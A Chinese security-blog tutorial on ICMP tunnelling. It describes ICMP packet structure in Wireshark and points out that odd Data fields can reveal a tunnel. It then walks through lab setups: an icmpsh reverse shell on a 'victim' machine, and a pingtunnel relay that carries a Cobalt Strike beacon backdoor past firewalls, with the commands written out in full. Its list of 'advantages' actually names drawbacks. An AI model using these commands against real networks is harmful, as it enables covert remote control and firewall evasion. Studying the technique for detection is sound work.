详解内网隧道代理技术——ICMP隧道

admin 2023年12月26日14:25:32评论31 views字数 3482阅读11分36秒阅读模式

详解内网隧道代理技术——ICMP隧道ICMP隧道介绍

ICMP介绍

ICMP(InternetControl MessageProtocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

我们平时所使用的 ping 命令就是使用的ICMP协议的。比如我们打开 cmd 命令行去 ping 8.8.8.8 这么 一个 IP 地址就是使用的 ICMP 协议,平时我们使用 ping 命令大多都是用来检测两台主机之间的网络是否通畅的。

详解内网隧道代理技术——ICMP隧道

主要概念有:

  1. 确认ip数据包是否成功到达目的地

  2. 通知源主机发送ip数据包丢失的原因

  3. ICMP是基于IP协议工作的

  4. ICMP只能作用于IPV4,IPV6下

详解内网隧道代理技术——ICMP隧道

ICMP报文的格式中的类型部分有如下几种代码:

  • 3 代表终点不可达

  • 11 代表时间超过

  • 12 代表参数问题

  • 5 代表改变路由

  • 8或0 代表回送请求或回答

  • 13或14 代表时间戳请求或回答

进一步区分某种类型中的几种不同情况检验和用于检验整个ICMP报文。但是IP首部检验和并不检验IP数据报的内容,因此不能保证经过传输的ICMP报文不产生差错。

ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文

ICMP抓包分析

我们接下来打开 Wireshark 进行抓包分析

Wireshark下载地址:https://www.wireshark.org/

首先我们打开Wireshark,选择我们的网卡

详解内网隧道代理技术——ICMP隧道

然后过滤我们的ICMP协议,如图所示:

详解内网隧道代理技术——ICMP隧道

一般PING命令就是使用ICMP的协议执行 ping 8.8.8.8,我们这里打开 cmd 去 ping 8.8.8.8,8.8.8.8是公网的一个DNS服务器地址

详解内网隧道代理技术——ICMP隧道

接下来我们就可以看到Wireshark抓取到的数据包了

详解内网隧道代理技术——ICMP隧道

我们将其选中,然后进行过滤

详解内网隧道代理技术——ICMP隧道

我们点开第一个数据包,可以发现有 Internet Contol Message Protocol,是ICMP的全称

详解内网隧道代理技术——ICMP隧道

接下来我们来详细分析一下这个ICMP数据包,我们可以看到这里ICMP包中的数据类型为 Type:8(8代表请求),对照之前我们提供的数据类型,可以知道这是一个请求包

详解内网隧道代理技术——ICMP隧道

代码部分是 Code:0

详解内网隧道代理技术——ICMP隧道

Checksum 是校验和

详解内网隧道代理技术——ICMP隧道

ICMP包中的数据部分是 Data

详解内网隧道代理技术——ICMP隧道

接下来我们打开 Data 部分详细分析,我们可以看到 Data 部分的数据是通过 Hex 16进制加密后的数据,我们将他经过ASCII码表解密后,就是右边框出来的数据(从a开始的),这一串数据是Windows机器使用 ping 命令ICMP包中默认固定的

详解内网隧道代理技术——ICMP隧道

既然有请求包,那么自然会有响应包,我们进行过滤筛选出 ICMP协议的响应包

详解内网隧道代理技术——ICMP隧道

我们点开第一个响应包,同样可以发现有 Internet Contol Message Protocol

详解内网隧道代理技术——ICMP隧道

可以看到这里响应包中的状态类型是 Type:0,对比之前提供的类型图,可以发现是响应包(0代表回答)

详解内网隧道代理技术——ICMP隧道

我们直接查看 Data数据部分,可以发现和之前的请求包一样,Data 部分的数据是通过 Hex 16进制加密后的数据,解密出来之后的内容还是 Windows机器使用 ping 命令 在ICMP 包中默认固定的数据

详解内网隧道代理技术——ICMP隧道ICMP隧道原理

那么如果说我们想要在ICMP包中传输数据怎么办?我们可以把我们想要的一些内容封装到ICMP包的Data数据里面进行传输,然后对方接收到我们相应的数据包,然后进行解密,就可以得到相应的数据,如果我们想要判断对方或者我们捕捉到的ICMP包是否是攻击者在使用ICMP进行通信,我们就可以查看ICMP包中的Data数据部分,Windows机器中ICMP包默认的 Data 数据部分格式大家已经知道是什么样的了,如果我们在实际捕获的ICMP包默认的 Data 数据部分是一些奇奇怪怪数据的,并不是默认的数据格式(经过加密的形式),那么也许就是对方在使用ICMP隧道进行通信

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道,可以实现绕过防火墙和入侵检测系统的阻拦。

ICMP隧道有以下的优点:

  1. ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

  2. 利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限

实验环境

身份 IP
Win11(受害者) 192.168.41.1
VPS (攻击者) 192.168.41.214

ICMP隧道反弹shell实验

ICMP做隧道一般有这么几种,其中一种是反弹shell的形式

icmpsh使用简单,使用的是python,项目地址:https://github.com/bdamele/icmpsh

详解内网隧道代理技术——ICMP隧道

该工具安装起来比较复杂,使用的是python2

首先,下载工具

git clone https://github.com/bdamele/icmpsh.git

然后执行安装依赖的命名

pip install impacket

接着执行禁用icmp回复

sysctl -w net.ipv4.icmp_echo_ignore_all=1

在VPS攻击者机器上开启监听命令

python icmpsh_m.py 攻击者IP 受害者IP


详解内网隧道代理技术——ICMP隧道

然后我们在受害者机器执行反弹命令

icmpsh.exe -t 攻击者IP

详解内网隧道代理技术——ICMP隧道

现在我们可以看到攻击者机器上已经收到了来自受害者机器的反弹shell

详解内网隧道代理技术——ICMP隧道

我们打开Wireshark进行抓包分析,这时我们会发现网络中充斥着大量的ICMP包

详解内网隧道代理技术——ICMP隧道

我们首先在VPS机器端执行 whoami 命令后,然后选择ICMP包中的其中一个响应包的 Data 数据部分查看,可以看到 Data 数据部分传输的数据,经过解密之后就是whoami命令

详解内网隧道代理技术——ICMP隧道

我们同样也可以查看一个ICMP请求包,其中的 Data 数据部分经过解密之后就是whoami 命令的回显

详解内网隧道代理技术——ICMP隧道

这一点,也印证了我们在之前的文章中提到过的ICMP包数据传输是靠 Data 部分数据进行传输的,如果 Data部分的数据不经过加密,是很容易被窃取的

搭建ICMP隧道上线CS

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

搭建ICMP隧道

ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel,PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。

详解内网隧道代理技术——ICMP隧道

工具下载地址:https://github.com/esrrhs/pingtunnel/releases/tag/2.7

详解内网隧道代理技术——ICMP隧道

实验环境

身份 IP
Kali(服务端,VPS) 192.168.41.132
Win10(客户端) 192.168.41.133

ICMP隧道上线CS

首先我们将需要的版本下载下来然后进行隧道搭建

我们来看一下网络拓扑才能更好理解这个隧道

详解内网隧道代理技术——ICMP隧道

第一步,在VPS执行,我们开启服务端

./pingtunnel -type server

详解内网隧道代理技术——ICMP隧道

第二步,我们在客户端执行以下的命令开启转发,将来自和本地9999端口连接的流量 转发给192.168.41.132的7777端口,然后我们就可以创建一个CS的监听器完成操作

pingtunnel.exe -type client -l :9999 -s 192.168.41.132 -t 192.168.41.132:7777 -tcp 1

详解内网隧道代理技术——ICMP隧道

现在我们的ICMP隧道就搭建好了

第三步,我们打开CS,设置监听器,连接本地的9999端口的流量并连接本地的7777端口

详解内网隧道代理技术——ICMP隧道

 第四步,选择我们刚刚设置的监听器,并生成木马后门

详解内网隧道代理技术——ICMP隧道

保存名为 beacon.exe

详解内网隧道代理技术——ICMP隧道

然后将我们刚刚生成的木马上传到我们的客户端机器上去执行

详解内网隧道代理技术——ICMP隧道

现在我们就通过搭建ICMP隧道将机器上线到了CS

此时,我们打开Wireshark去抓包,会发现网络中充斥着大量的ICMP包,其中也是我们在之前的文章中多次提到的,ICMP包中的Data数据部分将会被用来进行数据传输

详解内网隧道代理技术——ICMP隧道

详解内网隧道代理技术——ICMP隧道

原文始发于微信公众号(疯猫网络):详解内网隧道代理技术——ICMP隧道

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日14:25:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详解内网隧道代理技术——ICMP隧道https://cn-sec.com/archives/2227204.html

发表评论

匿名网友 填写信息